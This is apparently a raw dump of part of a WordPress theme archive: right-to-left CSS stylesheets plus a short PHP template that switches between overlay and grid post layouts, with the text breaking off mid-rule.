li{float:right}.penci_recent-posts-sc ul.penci-2columns-featured > li:nth-child(2n),.penci_recent-posts-sc ul.penci-2columns-feed > li:nth-child(2n + 1),.widget ul.penci-2columns-featured > li:nth-child(2n),.widget ul.penci-2columns-feed > li:nth-child(2n + 1){margin-right:0;margin-left:6%}.author-url .author-a-name,.grid-post-box-meta .author-a-name{margin-right:5px;margin-left:0}.penci-pagination ul.page-numbers li{float:right;margin-right:0;margin-left:10px}.penci-pagination ul.page-numbers li:last-child{margin-left:0}#sidebar-nav .menu-item-has-label .menu-label,.pc-dropdown-menu .menu-item-has-label .menu-label,.penci-menu-hbg .menu-item-has-label .menu-label{right:auto}.popularpost_item{padding-right:60px;padding-left:0}.popularpost_list.columns-format .popularpost_item{padding-right:60px;padding-left:15px}@media only screen and (max-width:768px){.popularpost_list.columns-format .popularpost_item{padding-left:0}}.popularpost_item .pcpopular_new_post_title a:before{left:auto;right:0}.popularpost_item.first .pcpopular_new_post_title,.popularpost_item.first .popularpost_meta{padding-right:60px;padding-left:0}.popularpost_list,.widget .popularpost_list{padding-right:0}ul.pc-advanced-cat{padding-right:0}ul.pc-advanced-cat li .indicator{right:auto;left:0}ul.pc-advanced-cat.toggle-enable li .category-item-count{margin-right:0;margin-left:30px}@media only screen and (max-width:960px){.popularpost_list.columns-format.t-col-1 .popularpost_item{padding-right:60px;padding-left:0}}@media only screen and (max-width:479px){.popularpost_list.columns-format .popularpost_item,.popularpost_list.columns-format.m-col-1 .popularpost_item{padding-right:60px;padding-left:0}}.popularpost_item.first{padding-right:0}#navigation.menu-style-3 .menu .penci-dropdown-menu:after,#navigation.menu-style-3 .menu .penci-dropdown-menu:before,#navigation.menu-style-3 .menu .sub-menu:after,#navigation.menu-style-3 .menu .sub-menu:before,.navigation.menu-style-3 .menu .penci-dropdown-menu:after,.navigation.menu-style-3 .menu .penci-dropdown-menu:before,.navigation.menu-style-3 .menu .sub-menu:after,.navigation.menu-style-3 .menu .sub-menu:before{left:auto;right:14px}#navigation.menu-style-3 .menu .sub-menu .sub-menu:after,#navigation.menu-style-3 .menu .sub-menu .sub-menu:before,.navigation.menu-style-3 .menu .sub-menu .sub-menu:after,.navigation.menu-style-3 .menu .sub-menu .sub-menu:before{left:auto;right:-6px}#navigation.menu-style-3 .menu .penci-dropdown-menu:after,#navigation.menu-style-3 .menu .sub-menu:after,.navigation.menu-style-3 .menu .penci-dropdown-menu:after,.navigation.menu-style-3 .menu .sub-menu:after{left:auto;right:15px}#navigation.menu-style-3 .menu .sub-menu .sub-menu:after,.navigation.menu-style-3 .menu .sub-menu .sub-menu:after{left:auto;right:-4px}#navigation ul.sub-menu > li.menu-item-has-children > a:after{float:left;content:"\f104"}.woocommerce-product-gallery.thumbnail-bottom .penci-thumbnail-image-wrapper figure{margin-right:0;margin-left:10px}.penci-post-gallery-container.thumbnail-slider figure p{left:15px;right:auto}.pcrlt-style-2 .item-related-inner,.pcrlt-style-4 .item-related-inner,.pcrlt-style-5 .item-related-inner{text-align:right}.pcrlt-style-2 a.penci-cat-name,.pcrlt-style-5 .penci-cat-name{left:auto;right:20px}.pcrlt-style-4 .related-content{padding-left:0;padding-right:15px}.heading1-style-2 .entry-content > h1:before,.heading1-style-3 .entry-content > h1:before,.heading1-style-4 .entry-content > h1:before,.heading2-style-2 .entry-content > h2:before,.heading2-style-3 .entry-content > h2:before,.heading2-style-4 .entry-content > h2:before,.heading3-style-2 .entry-content > h3:before,.heading3-style-3 .entry-content > h3:before,.heading3-style-4 .entry-content > h3:before,.heading4-style-2 .entry-content > h4:before,.heading4-style-3 .entry-content > h4:before,.heading4-style-4 .entry-content > h4:before,.heading5-style-2 .entry-content > h5:before,.heading5-style-3 .entry-content > h5:before,.heading5-style-4 .entry-content > h5:before{left:auto;right:0}.heading1-style-3 .entry-content > h1,.heading1-style-4 .entry-content > h1,.heading2-style-3 .entry-content > h2,.heading2-style-4 .entry-content > h2,.heading3-style-3 .entry-content > h3,.heading3-style-4 .entry-content > h3,.heading4-style-3 .entry-content > h4,.heading4-style-4 .entry-content > h4,.heading5-style-3 .entry-content > h5,.heading5-style-4 .entry-content > h5{padding-left:0;padding-right:20px}.heading1-style-2 .entry-content > h1:after,.heading2-style-2 .entry-content > h2:after,.heading3-style-2 .entry-content > h3:after,.heading4-style-2 .entry-content > h4:after,.heading5-style-2 .entry-content > h5:after{left:0;right:20px}.heading1-style-5 .entry-content > h1:before,.heading2-style-5 .entry-content > h2:before,.heading3-style-5 .entry-content > h3:before,.heading4-style-5 .entry-content > h4:before,.heading5-style-5 .entry-content > h5:before{right:0;left:auto}.penci-sponsored-label{margin:0 0 0 5px!important}.penci-sponsored-logo img{margin-right:5px;margin-left:0}.pcpagp-style-5 .post-pagination h5{padding:0}.post-entry.blockquote-style-3 blockquote:not(.wp-block-quote):before{left:0;right:auto;transform:rotate(0)}.post-entry.blockquote-style-3 blockquote:not(.wp-block-quote){padding:15px 0 15px 50px}.post-entry.blockquote-style-5 blockquote:not(.wp-block-quote)::before{transform:translateX(50%) rotate(180deg)}.post-entry.blockquote-style-4 blockquote:not(.wp-block-quote)::after,.post-entry.blockquote-style-4 blockquote:not(.wp-block-quote)::before,.post-entry.blockquote-style-5 blockquote:not(.wp-block-quote)::after{transform:translateX(50%)}@media only screen and (min-width:768px){.post-pagination.pcpagp-style-5 .next-post-inner,.post-pagination.pcpagp-style-5 .prev-post-inner{margin:-60px 0 0 60px;padding:20px 0 20px 20px}.post-pagination.pcpagp-style-5 .next-post-inner{margin:-60px 60px 0 0;padding:20px 20px 20px 0}}@media only screen and (max-width:767px){.penci-post-nav-thumb.nav-thumb-next{margin:0}}.pcmis-4 .penci-mega-post .penci-mega-meta,.pcmis-5 .penci-mega-post .penci-mega-meta{text-align:right;padding:0 20px 0 0}.pcmis-3 .penci-mega-post .penci-mega-meta{text-align:right}.pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu > ul > li:not(:last-child),.pc-builder-element.pc-main-menu .navigation.menu-item-padding ul.menu > li:not(:last-child){margin-left:var(--pchb-main-menu-mgi);margin-right:0}.pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu > ul > li:not(:last-child),.pc-builder-element.pc-second-menu .navigation.menu-item-padding ul.menu > li:not(:last-child){margin-left:var(--pchb-second-menu-mgi);margin-right:0}.pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu > ul > li:not(:last-child),.pc-builder-element.pc-third-menu .navigation.menu-item-padding ul.menu > li:not(:last-child){margin-left:var(--pchb-third-menu-mgi);margin-right:0}.penci-post-gallery-container.thumbnail-slider figure p{left:15px;right:auto}.penci-grid[data-layout="list-boxed"] li.list-post .item{padding-left:20px;border-left:1px solid var(--pcborder-cl);padding-right:0;border-right:0}.penci-grid[data-layout="list-boxed-2"] li.list-post .item{padding-right:20px;border-right:1px solid var(--pcborder-cl);padding-left:0;border-left:0}.penci-grid[data-layout="list-boxed-2"] li.list-post .item .content-list-right{padding-left:30px;padding-right:0}.post-entry.blockquote-style-6 blockquote:not(.wp-block-quote){padding:30px 90px 30px 30px}.post-entry.blockquote-style-6 blockquote:not(.wp-block-quote)::before{left:auto;right:40px;transform:scaleY(1)}.post-entry.blockquote-style-6 blockquote:not(.wp-block-quote) .author,.post-entry.blockquote-style-6 blockquote:not(.wp-block-quote) p{text-align:right}.post-entry.blockquote-style-7 blockquote:not(.wp-block-quote):before,.post-entry.blockquote-style-8 blockquote:not(.wp-block-quote):before{transform:translateX(50%) rotate(180deg)}.pc-comment-s1-button i{margin:0 0 0 10px}.comments.pc-cms-style-2 .thecomment .comment-text span.reply,.comments.pc-cms-style-3 .thecomment .comment-text span.reply{left:30px;right:auto}.comments.pc-cms-style-2 .thecomment .comment-text::before{right:-10px;left:auto;transform:translatey(-50%) rotate(90deg)}.pc-cms-style-3 .thecomment .comment-text{margin-left:0;margin-right:50px}.pc-cms-style-3 .thecomment .author-img{margin-right:0;margin-left:20px}.pc-cms-style-3 .thecomment .comment-text:after,.pc-cms-style-3 .thecomment .comment-text:before{left:auto;right:-10px;border-width:10px 0 10px 10px;border-color:transparent transparent transparent var(--pcborder-cl)}.pc-cms-style-3 .thecomment .comment-text:after{border-width:8px 0 8px 8px;right:-8px;border-color:transparent transparent transparent var(--pcbg-cl)}@media only screen and (max-width:767px){.comments.pc-cms-style-2 .thecomment .author-img,.comments.pc-cms-style-3 .thecomment .author-img{margin-left:10px;margin-right:0}.comments.pc-cms-style-2 .comment-text{margin-left:0;margin-right:40px}}.penci-mtp-filters-wrapper.pctp-left{flex-direction:row-reverse}.penci-mtp-filters-wrapper.pctp-right{flex-direction:row}.penci-mtp-filters-terms ul,.penci-mtp-filters-terms ul li{padding-right:0}.penci-mtp-filters-posts .pcsl-col-1.pcsl-inner .pcsl-iteminer{padding-right:0;padding-left:120px}.penci-mtp-filters-wrapper .pcsl-inner .grid-post-box-meta.pcmtf-mt-alt,.post-entry .penci-mtp-filters-wrapper .pcsl-inner .grid-post-box-meta.pcmtf-mt-alt{right:auto;left:0}@media only screen and (max-width:767px){.penci-mtp-filters-close.active::after,.penci-mtp-filters-mobile::after{right:auto;left:20px}.penci-mtp-filters-close.active,.penci-mtp-filters-mobile{padding-right:20px}}.penci-sidebar-content.style-22 .widget-title:before{left:auto;right:0}@media screen and (max-width:1169px){.penci-mtp-filters-posts .pcsl-col-1.pcsl-inner .pcsl-iteminer{padding-left:0}}.list-post-3 .content-list-right{margin:20px -40px 20px 20px}.post-entry,.post-entry p,.widget ul li,p{text-align:right}.penci-post-share-box-btn{left:auto;right:10px}.pcstyle-style-4 .container-single .post-entry .post-tags a::before{margin-right:0;margin-left:5px}.pcstyle-style-2 .container-single .post-entry .post-tags a::before{margin-right:0;margin-left:2px}.penci-slider44-thumb-wrapper{right:auto;left:30px}.penci-slider44-main.penci-owl-carousel .penci-owl-nav .owl-next,.penci-slider44-main.penci-owl-carousel .penci-owl-nav .owl-prev{left:auto;right:70px}.penci-slider44-main.penci-owl-carousel .penci-owl-nav .owl-next{right:30px}.featured-area.featured-style-42 .penci-featured-content .feat-text,.penci-slider41-main-wrapper .penci-featured-content .feat-text,.penci-slider44-main-wrapper .penci-featured-content .feat-text{text-align:right}.penci-slider42-main-wrapper .penci-featured-content .feat-text h3 a{text-align:right}.penciimg-compare .icv__img-a{left:auto;right:0px}.penciimg-compare .icv__img-b{right:auto;left:0px}.penciimg-compare .icv__label-before{right:1rem;left:auto}.penciimg-compare .icv__label-after{left:1rem;right:auto}.penciimg-compare .icv__label-after.vertical{left:auto}body.rtl .navigation .menu li.penci-block-mega.penci-mg-fullwidth > .penci-dropdown-menu{left:auto!important;right:calc((100vw - var(--pcctain)) / 2 * -1 + 10px - var(--pcctnspc))!important}.pc-widget-advanced-tax.tax-style-2 .tag-link-count{margin-right:3px;margin-left:0}.penci-single-style-10 .header-standard,.penci-single-style-10 .post-box-meta-single,.penci-single-style-15 .header-standard,.penci-single-style-15 .post-box-meta-single,.penci-single-style-13 .header-standard,.penci-single-style-13 .post-box-meta-single{text-align:right}.penci-single-style-15 .container.two-sidebar .penci-sidebar-content,.penci-single-style-15 .penci-post-image-wrapper .penci-sidebar-content{right:0;left:auto}.penci-single-style-15 .penci-single-s15-content{padding-right:20%;padding-left:0}.penci-single-style-13 .penci-single-s13-content{margin-right:calc((100vw - var(--pcctain)) / -2);margin-left:0}.penci-single-style-13 .penci-post-image-wrapper .penci-sidebar-content .single-header{padding:50px 50px 50px 0}.penci-single-style-13 .penci-container-inside.penci-breadcrumb{padding-left:0;padding-right:50px}.penci-single-style-13 .penci-post-image-wrapper .penci-sidebar-content:before{left:auto;right:100%}@media only screen and (max-width:960px){.penci-single-style-15 .penci-single-s15-content{padding-left:0;padding-right:0}.penci-body-single-style-20 .penci-container-inside.penci-breadcrumb{text-align:center}.penci-single-style-13 .penci-single-s13-content{margin-right:0}.penci-single-style-13.penci-show-ft-caption .penci-post-image-wrapper .penci-sidebar-content:after{display:none}}@media only screen and (min-width:961px){.penci-single-style-14:not(.penci-single-pheader-noimg).penci_sidebar #main article.post{margin-right:40px;padding-right:40px;margin-left:0;padding-left:0}}.penci-body-single-style-22 .post-image .penci-author-wrapper{transform:translateX(50%)}.rtl.penci-body-single-style-22 .container-single .post-box-meta-single,.rtl.penci-body-single-style-22 .container-single .header-standard{text-align:center}@media only screen and (min-width:768px){.penci-grid li.pclist-layout.pc-has-thumb.pc-list-imgright .item .content-list-right{padding-left:30px;padding-right:0}}.penci-grid[data-layout="grid-boxed-3"] li .item{margin-left:0;margin-right:15px}.penci-grid[data-layout="grid-boxed-3"] li .item .cat{left:auto;right:0;transform:translate(calc(0px + 50% + 18px),80px) rotate(-90deg);justify-content:flex-start}.penci-grid[data-layout="grid-boxed-3"] li.pchide-cat .item{margin-right:0}.post-tags.penci-post-sources > span::before{margin:0 0 0 4px}.penci-visitor-count{padding:10px 35px 10px 20px}.penci-grid4-date{left:auto;right:0;padding-right:0;padding-left:20px}.penci-grid4-date span{margin-right:0;margin-left:10px}.grid-boxed-4-item .grid-header-box{text-align:right}.penci-post-sticky-nav-wrap{flex-direction:row-reverse}.penci-pshare-dropdown a i {margin-right: 0;margin-left: 5px;}.penci-focus-mode-icon:before{margin-right: 0;margin-left: 6px;}.penci-post-sticky-nav-wrap .prev-post {justify-content: end;}.penci-post-sticky-nav-wrap .next-post {justify-content: start;}body.rtl.penci-gtt-enable .penci-focus-mode-button.right{right:20px}.penci-tiline .penci-tiline-date span{display: inline-block;}.show-search.pcbds-popup {text-align: right;}.show-search.pcbds-popup .close-search{right:auto;left:10px;}.penci-pshare-dropdown {left: auto;right: 12px;}@media (min-width:960px){body.rtl .penci-tiline-center .penci-tiline-item.left-part .penci-tiline-icon,body.rtl .penci-tiline-center .penci-tiline-item.left-part .penci-tiline-line{right:auto;left:0}body.rtl .penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-icon{transform:translate(50%,50%);top:0}body.rtl .penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-icon span{transform:translate(50%,0)}body.rtl .penci-tiline-center .penci-tiline-item.left-part .penci-tiline-item-main-container{padding-right:0;padding-left:50px}body.rtl .penci-tiline-center .penci-tiline-item.right-part .penci-tiline-icon{left:auto;right:0}body.rtl .penci-tiline-center .penci-tiline-item.right-part .penci-tiline-item-main-container{padding-left:0;padding-right:50px}}body.rtl .penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-line span,body.rtl .penci-tiline .penci-tiline-item:first-child .penci-tiline-item-main-wrapper .penci-tiline-line::before{transform:translateX(50%)}body.rtl .penci-tiline-item-date-wrap.right{text-align:left}body.rtl .penci-tiline-meta li:not(:last-child),body.rtl .post-entry .penci-tiline-meta li:not(:last-child){margin-right:0;margin-left:20px}PK     N\;xn  n    content-mixed-2.phpnu [        <?php
/**
 * Template loop for mixed style
 */
?>
<?php
/**
* Create var $jj to count order posts
* If $jj = 1, to show mixed post, $jj > 1 to show grid post
*
* @since 1.0
*/
$penci_mixed_style = isset( $penci_mixed_style ) ? $penci_mixed_style : '';

$k = 3;
if ( ! isset ( $jj ) ) { $jj = 1; } else { $jj = $jj; }
if( ( is_home() && ! penci_get_setting( 'penci_sidebar_home' ) ) || ( is_archive() && ! penci_get_setting( 'penci_sidebar_archive' ) ) || is_page_template( 'page-vc.php' ) || is_page_template( 'page-penci-full-width.php' ) ):
	$k = 4;
endif;

if( isset( $template ) && $template == 'no-sidebar' ) {
	$k = 4;
}

if( 's1' == $penci_mixed_style ) {
	$k = 4;
} elseif( 's2' == $penci_mixed_style ) {
	$k = 3;
}

if ( ( $jj % $k ) == 1 ) {
	include( locate_template( 'content-overlay.php' ) );
}
else {
	include( locate_template( 'content-grid.php' ) );
}

$jj++;
?>PK     N\cG6 6   rtl.unmin.cssnu [        body {
	direction: rtl;
	unicode-bidi: embed;
}
select {
	padding: 8px 15px 8px 28px;
	background-position: left 10px top 50%;
}
.container.has-banner .header-banner {
	text-align: left;
}
#navigation .menu ul ul.sub-menu a,
#navigation ul.menu ul.sub-menu a,
#penci-login-popup,
.container.has-banner #logo,
.navigation .menu ul ul.sub-menu a,
.navigation ul.menu ul.sub-menu a,
.penci-grid.penci-fea-cat-style-13 > li.grid-style {
	text-align: right;
}
#navigation.header-4 .pcheader-icon.shoping-cart-icon,
#navigation.header-5 .pcheader-icon.shoping-cart-icon,
.pcheader-icon.shoping-cart-icon.clear-right {
	margin-left: 0;
	margin-right: 40px;
}
#navigation .menu,
.navigation .menu {
	float: right;
}
.pcheader-icon {
	float: left;
}
.pcheader-icon.shoping-cart-icon {
	margin-left: 15px;
	margin-right: 0;
}
#navigation .menu > ul > li,
#navigation ul.menu > li,
.navigation .menu > ul > li,
.navigation ul.menu > li {
	float: right;
	margin-left: 44px;
	margin-right: 0;
}
.pc-builder-element.pc-main-menu .navigation .menu > ul > li,
.pc-builder-element.pc-main-menu .navigation ul.menu > li {
	margin-left: var(--pchb-main-menu-mg);
	margin-right: 0 !important;
}
.pc-builder-element.pc-second-menu .navigation .menu > ul > li,
.pc-builder-element.pc-second-menu .navigation ul.menu > li {
	margin-left: var(--pchb-second-menu-mg);
	margin-right: 0;
}
.pc-builder-element.pc-third-menu .navigation .menu > ul > li,
.pc-builder-element.pc-third-menu
	.navigation:not(.menu-item-padding)
	ul.menu
	> li {
	margin-left: var(--pchb-third-menu-mg);
	margin-right: 0;
}
#navigation .menu .children,
#navigation .menu .sub-menu,
#navigation ul.menu > li.megamenu > ul.sub-menu,
.home-featured-cat-content.style-7 .grid-header-box:after,
.navigation .menu .children,
.navigation .menu .sub-menu,
.navigation ul.menu > li.megamenu > ul.sub-menu {
	right: 0;
	left: auto;
}
.pc-builder-element.pc-main-menu .navigation .menu > ul > li > .sub-menu,
.pc-builder-element.pc-main-menu .navigation ul.menu > li > .sub-menu {
	top: var(--pchb-main-menu-lh);
}
.pc-builder-element.pc-third-menu .navigation .menu > ul > li > .sub-menu,
.pc-builder-element.pc-third-menu .navigation ul.menu > li > .sub-menu {
	top: var(--pchb-third-menu-lh);
}
.pc-builder-element.pc-second-menu .navigation .menu > ul > li > .sub-menu,
.pc-builder-element.pc-second-menu .navigation ul.menu > li > .sub-menu {
	top: var(--pchb-second-menu-lh);
}
#navigation .menu > ul > li > .sub-menu,
#navigation ul.menu > li > .sub-menu {
	top: 59px;
}
#navigation.header-11 .menu > ul > li > .sub-menu,
#navigation.header-11 ul.menu > li > .sub-menu {
	top: 58px;
}
#navigation-sticky-wrapper:not(.is-sticky)
	#navigation.header-10
	.menu
	> ul
	> li
	> .sub-menu,
#navigation-sticky-wrapper:not(.is-sticky)
	#navigation.header-10
	ul.menu
	> li
	> .sub-menu,
#navigation-sticky-wrapper:not(.is-sticky)
	#navigation.header-11
	.menu
	> ul
	> li
	> .sub-menu,
#navigation-sticky-wrapper:not(.is-sticky)
	#navigation.header-11
	ul.menu
	> li
	> .sub-menu,
#navigation-sticky-wrapper:not(.is-sticky)
	#navigation.header-6
	.menu
	> ul
	> li
	> .sub-menu,
#navigation-sticky-wrapper:not(.is-sticky)
	#navigation.header-6
	ul.menu
	> li
	> .sub-menu {
	top: 81px;
}
#navigation .menu .children ul,
#navigation .menu .sub-menu ul,
.navigation .menu .children ul,
.navigation .menu .sub-menu ul,
.post-entry blockquote .author span:after,
div.penci-topbar-menu > ul li:hover ul.sub-menu ul.sub-menu,
ul.penci-topbar-menu li:hover ul.sub-menu ul.sub-menu {
	right: 100%;
	left: auto;
}
#navigation .menu > ul > li.menu-item-has-children > a:after,
#navigation .menu > ul > li.penci-mega-menu > a:after,
#navigation ul.menu > li.menu-item-has-children > a:after,
#navigation ul.menu > li.penci-mega-menu > a:after,
.navigation .menu > ul > li.menu-item-has-children > a:after,
.navigation .menu > ul > li.penci-mega-menu > a:after,
.navigation ul.menu > li.menu-item-has-children > a:after,
.navigation ul.menu > li.penci-mega-menu > a:after {
	float: left;
	margin: 0 5px 0 0;
}
.penci-menuhbg-wapper {
	float: left;
	margin-right: 0;
	margin-left: 12px;
}
.penci-headline-posts .slick-prev,
.penci-owl-carousel-slider.penci-headline-posts .penci-owl-nav .owl-prev {
	left: auto;
	right: -32px;
}
.penci-headline-posts .slick-next,
.penci-owl-carousel-slider.penci-headline-posts .penci-owl-nav .owl-next {
	left: auto;
	right: -54px;
}
.featured-area.featured-style-14 .wrapper-item-classess,
.featured-area.featured-style-20 .wrapper-item-classess,
.featured-area.featured-style-21 .wrapper-item-classess,
.featured-area.featured-style-22 .wrapper-item-classess,
.featured-area.featured-style-23 .wrapper-item-classess,
.featured-area.featured-style-25 .wrapper-item-classess,
.featured-area.featured-style-26 .wrapper-item-classess,
.featured-area.featured-style-27 .wrapper-item-classess {
	margin-left: 0;
	margin-right: -2px;
}
.featured-style-13 .wrapper-item .penci-item-mag,
.featured-style-14 .wrapper-item .penci-item-mag,
.featured-style-15 .wrapper-item .penci-item-mag,
.featured-style-16 .wrapper-item .penci-item-mag,
.featured-style-17 .wrapper-item .penci-slider17-mag-item,
.featured-style-18 .wrapper-item .penci-slider17-mag-item,
.featured-style-19 .wrapper-item .penci-item-mag,
.featured-style-20 .wrapper-item .penci-item-mag,
.featured-style-21 .wrapper-item .penci-item-mag,
.featured-style-22 .wrapper-item .penci-item-mag,
.featured-style-23 .wrapper-item .penci-item-mag,
.featured-style-24 .wrapper-item .penci-item-mag,
.featured-style-25 .wrapper-item .penci-item-mag,
.featured-style-26 .wrapper-item .penci-item-mag,
.featured-style-27 .wrapper-item .penci-item-mag,
.featured-style-37 .penci-featured-items-left,
.featured-style-37 .penci-featured-items-right,
.featured-style-6 .wrapper-item .penci-item-mag {
	float: right;
}
@media only screen and (min-width: 961px) {
	.featured-style-37 .penci-featured-items-left,
	.featured-style-6 .wrapper-item .penci-item-1 {
		border-right: none;
		border-left: 10px solid transparent;
	}
}
@media only screen and (max-width: 961px) {
	.featured-style-6 .wrapper-item .penci-item-0 {
		border-right: 2px solid transparent;
		border-left: none;
	}
	.featured-style-6 .wrapper-item .penci-item-2 {
		border-left: 2px solid transparent;
		border-right: none;
	}
}
@media only screen and (min-width: 768px) {
	.featured-style-19 .wrapper-item .penci-item-0,
	.featured-style-19 .wrapper-item .penci-item-2 {
		border-left: none;
		border-right: 4px solid transparent;
	}
}
@media only screen and (max-width: 767px) {
	.featured-style-19 .wrapper-item .penci-item-1,
	.featured-style-19 .wrapper-item .penci-item-3 {
		border-right: none;
		border-left: 2px solid transparent;
	}
	.featured-style-19 .wrapper-item .penci-item-0,
	.featured-style-19 .wrapper-item .penci-item-2 {
		border-right: 2px solid transparent;
		border-left: none;
	}
}
.featured-style-35 .featured-content-excerpt .feat-meta span,
.grid-post-box-meta span,
.penci-featured-content .feat-text .feat-meta span,
.penci-mag-featured-content .feat-meta span {
	display: inline-block;
}
.main-nav-social {
	float: left;
	text-align: left;
	margin: 0 0 0 13px;
}
.penci-vernav-poright .penci-vernav-toggle:before {
	border-right: none;
	border-left: 50px solid transparent;
}
#navigation.header-4 .main-nav-social,
#navigation.header-5 .main-nav-social,
#navigation.header-6 .main-nav-social {
	margin: 0 30px 0 0;
}
#navigation.header-10 .penci-header-extra,
#navigation.header-11 .penci-header-extra {
	margin-left: 0;
	margin-right: 15px;
}
.penci-header-signup-form .mc4wp-form input[type="email"],
.penci-header-signup-form .mc4wp-form input[type="text"] {
	margin-left: 20px;
	margin-right: 0;
}
.penci-header-signup-form .mc4wp-form-fields > p,
.penci-header-signup-form form > p {
	padding-right: 0;
	padding-left: 20px;
	text-align: right;
}
form.pc-searchform.penci-hbg-search-form i {
	right: auto;
	left: 18px;
}
@media only screen and (max-width: 1169px) {
	.penci-header-signup-form .mc4wp-form input[type="email"],
	.penci-header-signup-form .mc4wp-form input[type="text"] {
		margin: 20px auto 0;
	}
	.penci-header-signup-form .mc4wp-form-fields > p,
	.penci-header-signup-form form > p {
		padding-left: 0;
		text-align: center;
	}
}
.penci-header-signup-form .mc4wp-form-fields > p:last-of-type,
.penci-header-signup-form form > p:last-of-type {
	padding-right: 0;
	padding-left: 0;
}
.show-search a.close-search {
	left: 0;
	right: auto;
}
.show-search form.pc-searchform input.search-input {
	padding: 15px 0 15px 35px;
	right: 0;
	left: auto;
}
.headline-title,
.penci-headline .pctopbar-item {
	float: right;
}
.headline-title.nticker-style-2 {
	margin-left: 8px;
	margin-right: 0;
}
.headline-title.nticker-style-2:after {
	border-left: none;
	border-right: 9px solid var(--pcaccent-cl);
	left: -8px;
	right: auto;
}
.headline-title.nticker-style-3 {
	padding-left: 25px;
	padding-right: 15px;
}
.headline-title.nticker-style-3:after {
	border-right: none;
	border-left: 11px solid #313131;
	right: auto;
	left: 0;
}
.headline-title.nticker-style-4 {
	margin-right: 0;
	margin-left: 9px;
}
.headline-title.nticker-style-4:after {
	border-left: 9px solid transparent;
	border-left-color: transparent !important;
	border-right: none;
	right: auto;
	left: -9px;
}
.penci-topbar-social {
	float: left;
}
body.rtl .penci-headline .slick-slider {
	direction: rtl;
}
.penci-topbar-social a {
	float: right;
	margin-right: 13px;
	margin-left: 0;
}
.penci-topbar-social a:first-child {
	margin-right: 0;
}
.pclg-2col > div,
.penci-topbar-trending .penci-trending-nav,
a.penci-topbar-post-title {
	float: right;
}
.penci-owl-carousel:not(.penci-owl-loaded) a.penci-topbar-post-title {
	float: none;
	vertical-align: top;
}
.penci-trending-nav a.penci-slider-prev {
	float: left;
}
@media only screen and (min-width: 1170px) {
	.penci-headline .pctopbar-item:last-child:not(:first-child) {
		float: left;
	}
}
.penci-headline .pctopbar-item:first-child {
	margin-left: 15px;
	margin-right: 0;
}
.penci-headline .pctopbar-item:last-child {
	margin-left: 0;
	margin-right: 15px;
}
.penci-topbar-social .pclogin-item {
	margin-left: 13px;
	margin-right: 0;
}
.penci-topbar-social.penci-lgdisplay-right .pclogin-item {
	margin-left: 0;
	margin-right: 13px;
}
.pctopbar-login-btn .pclogin-sub {
	left: auto;
	right: 0;
}
.pclogin-item.login-popup span {
	margin-right: 4px;
	margin-left: 0;
}
.pctopbar-login-btn .pclogin-sub li a i {
	margin-left: 5px;
	margin-right: 0;
}
#penci-login-popup .mfp-close {
	right: auto;
	left: 0;
}
.pclg-2col > div:last-child {
	margin-right: 5%;
}
.pclg-2col > div:first-child {
	margin-right: 0;
}
.widget_block.widget_search button[type="submit"] {
	margin-left: 0;
	margin-right: 0.625em;
}
.widget_block.widget_search .wp-block-search__no-button input[type="search"],
form.pc-searchform input.search-input {
	background-position: 6% 15px;
	padding: 12px 20px 12px 40px;
}
.widget_block.widget_search
	.wp-block-search__no-button
	.wp-block-search__inside-wrapper:before,
form.pc-searchform i {
	right: auto;
	left: 20px;
}
.featured-style-4 .penci-owl-carousel .penci-image-holder,
.featured-style-5 .penci-owl-carousel .penci-image-holder {
	float: left;
}
.penci-homepage-title.penci-magazine-title:before {
	right: 30px;
	left: auto;
}
.penci-border-arrow:before {
	right: 50%;
	left: auto;
}
.home-featured-cat-content .mag-post-box .magcat-thumb {
	float: right;
	margin-left: 20px;
	margin-right: 0;
}
.home-featured-cat-content .cat-left,
.home-featured-cat-content .cat-right,
.home-featured-cat-content .mag-photo,
.widget.widget_archive ul li a {
	float: right;
}
.home-featured-cat-content .first-post .magcat-detail .mag-header:after,
.list-post .header-list-style:after {
	right: 0;
	left: auto;
}
.grid-post-box-meta span:after {
	margin: 0 10px 0 8px;
}
.container .penci-grid li.magazine-layout,
.penci-featured-infor .item-content,
.penci-grid-excerpt-left .penci-grid li .item .item-content,
.penci-grid-excerpt-left .penci-masonry .item-masonry .item-content,
.penci-std-continue-left .penci-more-link,
.penci-std-excerpt-left .penci-grid .mixed-detail .item-content,
.penci-std-excerpt-left .standard-main-content,
.widget.widget_archive ul li {
	text-align: right;
}
.pc-widget-advanced-tax.tax-style-1 ul li a:before,
.widget.widget_archive ul li a:before,
.widget.widget_categories ul li a:before {
	content: "";
	margin-left: 10px;
	margin-right: 0;
}
.cat > a.penci-cat-name:after {
	margin-left: 0;
	margin-right: 11px;
}
.cat > a.penci-cat-name {
	margin: 0 0 0 15px;
	padding-left: 10px;
	padding-right: 0;
}
.cat > a.penci-cat-name:first-child {
	margin-right: 0;
	margin-left: 18px;
}
.cat > a.penci-cat-name:last-child {
	margin-left: 0;
	padding-left: 0;
}
.list-post.list-boxed-post .header-list-style:after {
	right: 50%;
	margin-left: 0;
	margin-right: -30px;
}
.penci-grid li.list-post .item > .thumbnail,
.penci-grid li.list-post.penci-slistp .item > .thumbnail {
	float: right;
}
.penci-grid li.list-post.penci-slistp .item > .thumbnail {
	margin-left: 16px;
	margin-right: 0;
}
.penci-featured-cat-sc .penci-grid li.list-post .item .content-list-right,
.penci-latest-posts-sc .penci-grid li.list-post .item .content-list-right {
	padding-right: 30px;
}
.container.two-sidebar .penci-grid li.pclist-layout .item .content-list-right {
	padding-left: 0;
	padding-right: 30px;
}
.home-featured-cat-content.style-14 .magcat-padding {
	padding-left: 0;
	padding-right: 17px;
	position: relative;
}
.home-featured-cat-content.style-14 .magcat-padding:before {
	left: auto;
	right: 0;
}
.home-featured-cat-content.style-7 .grid-header-box {
	text-align: right;
}
.grid-featured .penci-featured-share-box .penci-shareso a:last-child {
	margin-right: 10px;
}
.grid-featured .penci-featured-share-box .penci-shareso a:first-child {
	margin-right: 0;
}
.penci-featured-share-box .penci-shareso {
	transform: translateX(-40px);
	-webkit-transform: translateX(-40px);
}
#navigation ul.menu > li.megamenu > ul.sub-menu > li:before,
#sidebar-nav,
.navigation ul.menu > li.megamenu > ul.sub-menu > li:before,
.penci-featured-share-box .penci-shareic,
.penci-featured-share-box .penci-shareso {
	left: auto;
	right: 0;
}
.grid-featured .thumbnail:hover .penci-shareic {
	transform: translateX(40px);
